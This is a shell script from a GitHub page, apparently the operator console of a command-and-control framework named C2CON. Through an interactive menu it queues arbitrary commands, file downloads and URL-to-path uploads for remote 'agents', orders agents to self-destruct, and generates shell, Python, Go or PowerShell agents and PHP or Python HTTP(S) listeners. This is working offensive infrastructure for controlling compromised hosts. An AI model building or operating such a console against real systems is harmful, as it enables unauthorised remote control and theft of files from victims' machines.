-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRun_Cmd.sh
204 lines (172 loc) · 3.83 KB
/
Run_Cmd.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
while true
do
echo """
______ ___ ______ ______ .__ __.
/ |__ \ / | / __ \ | \ | |
| ,----' ) | | ,----'| | | | | \| |
| | / / | | | | | | | . \` |
| \`----./ /_ | \`----.| \`--' | | |\ |
\______|____| \______| \______/ |__| \__|
Started from the bottom, we keep diggin
"""
echo "Action ?"
read action
if [ "$action" = "run" ]; then
echo "Agent ?"
read agent
echo "Ze Juice ?"
read cmd
echo "$agent:$action:$cmd" >> /tmp/C2CON-cmds.txt
echo "Task to $agent => $action $cmd" >> /tmp/C2CON-res.txt
sleep 2
clear
elif [ "$action" = "kill_lis" ]; then
echo "Listener PID ?"
read PID
kill $PID
listname=$(cat /tmp/C2CON-listener.txt| grep ".$PID." | cut -d '/' -f 2 | cut -d ' ' -f 1)
if [ -z "$listname" ]
then
echo "Can't find the listener folder"
else
rm -rf /tmp/$listname
fi
cat /tmp/C2CON-listener.txt | grep -v ".$PID." > /tmp/C2CON-templistener
cat /tmp/C2CON-templistener > /tmp/C2CON-listener.txt
echo "Listener with PID $PID killed"
sleep 2
clear
elif [ "$action" = "kill_ag" ]; then
echo "Agent ?"
read agent
echo "Task Agent $agent to self-destruct" >> /tmp/C2CON-res.txt
echo "$agent:kill" >> /tmp/C2CON-cmds.txt
sleep 2
clear
elif [ "$action" = "create" ]; then
echo "What ?"
read what
if [ "$what" = "agent" ]; then
echo "Type (shell/python/go/powershell) ?"
read type
echo "Filename ?"
read filename
echo "Endpoint ?"
read endpoint
echo "Mode Param ?"
read mode_param
echo "Reponse Param ?"
read resp_param
echo "Creating agent"
bash create_agent.sh $type $filename $endpoint $mode_param $resp_param
sleep 2
clear
elif [ "$what" = "listener" ]; then
echo "Type ?"
read type
if [ "$type" = "php" ]; then
echo "Endpoint ?"
read endpoint
echo "Mode Param ?"
read mode_param
echo "Reponse Param ?"
read resp_param
echo "Creating and deploying listener"
bash create_listener.sh $type $endpoint $mode_param $resp_param
sleep 2
clear
elif [ "$type" = "python_http" ]; then
echo "Endpoint ?"
read endpoint
echo "Mode Param ?"
read mode_param
echo "Reponse Param ?"
read resp_param
echo "Listener Port ?"
read port
bash create_listener.sh $type $endpoint $mode_param $resp_param $port&
sleep 2
clear
elif [ "$type" = "python_https" ]; then
echo "Endpoint ?"
read endpoint
echo "Mode Param ?"
read mode_param
echo "Reponse Param ?"
read resp_param
echo "Listener Port ?"
read port
bash create_listener.sh $type $endpoint $mode_param $resp_param $port&
sleep 2
clear
else
echo "Create listener python_http, python_https or php"
sleep 2
clear
fi
else
echo "Create agent or listener"
sleep 2
clear
fi
elif [ "$action" = "download" ]; then
echo "Agent ?"
read agent
echo "Ze File ?"
read file
echo "$agent:$action:$file" >> /tmp/C2CON-cmds.txt
echo "Task to $agent => $action $file" >> /tmp/C2CON-res.txt
sleep 2
clear
elif [ "$action" = "upload" ]; then
echo "Agent ?"
read agent
echo "URL ?"
read url
echo "Path ?"
read path
echo "$agent:$action:$url:$path" >> /tmp/C2CON-cmds.txt
echo "Task to $agent => $action $url to $path" >> /tmp/C2CON-res.txt
sleep 2
clear
elif [ "$action" = "clear" ]; then
echo "file?"
read file
if [ "$file" = "cmds" ]; then
echo "" > /tmp/C2CON-cmds.txt
sleep 2
echo "Clearing /tmp/C2CON-cmds.txt"
clear
elif [ "$file" = "res" ]; then
echo "" > /tmp/C2CON-res.txt
sleep 2
echo "Clearing C2CON-res.txt"
clear
elif [ "$file" = "listeners" ]; then
echo "" > /tmp/C2CON-listener.txt
sleep 2
echo "Clearing C2CON-listener.txt"
clear
elif [ "$file" = "ping" ]; then
echo "Clearing C2CON-ping.txt"
echo "" > /tmp/C2CON-ping.txt
sleep 2
clear
elif [ "$file" = "all" ]; then
echo "Clearing all txt"
echo "" > /tmp/C2CON-ping.txt
echo "" > /tmp/C2CON-res.txt
echo "" > /tmp/C2CON-cmds.txt
sleep 2
clear
else
echo "Unknown file"
sleep 2
clear
fi
else
echo "Unknown cmd"
sleep 2
clear
fi
done